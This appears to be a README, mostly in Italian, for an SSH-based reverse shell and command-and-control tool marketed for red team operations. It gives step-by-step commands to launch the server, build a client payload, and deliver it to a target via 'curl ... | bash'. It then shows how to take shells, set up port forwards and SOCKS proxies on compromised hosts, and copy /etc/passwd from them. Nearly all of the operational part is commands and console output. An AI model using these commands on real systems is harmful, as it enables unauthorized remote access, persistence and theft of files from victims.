
Strumento di gestione di reverse shell basato su SSH con supporto nativo per SCP/SFTP, protocolli di trasporto multipli, generazione di DLL per Windows ed esecuzione fileless per operazioni red team.

(Art credit to https://www.instagram.com/smart.hedgehog.art/)
Vuoi usare SSH per le reverse shell? Ora puoi.
SCP e SFTP per recuperare file dai tuoi targethttp, websockets, tls e altri +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
Si consiglia la release del container poiché include la versione corretta di golang e un cross compiler per Windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
o docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Tutti i comandi supportano il flag -h per fornire assistenza.
Poi i tipici comandi ssh funzionano, basta specificare il tuo server rssh come jump host.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Puoi trovare una documentazione più completa nella cartella docs. Questa include un cheatsheet, la risoluzione dei problemi e altro ancora.
Un enorme ringraziamento alle seguenti persone per aver donato al progetto RSSH e reso possibile tutto questo lavoro!
chikamobina per le loro generose donazioni!
wrighterase (ctrlzero) per i loro contributi e le loro donazioni!
Carapace è una società di consulenza per la sicurezza con sede in Nuova Zelanda, con un team di persone estremamente talentuose!

Il modo più semplice per restituire qualcosa al progetto RSSH è trovare bug, aprire richieste di funzionalità e pubblicizzarlo tramite il passaparola alle persone che pensi possano trovarlo utile!
Tuttavia, se vuoi darmi qualcosa direttamente, puoi farlo tramite Github Sponsors oppure inviando a uno dei seguenti wallet:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr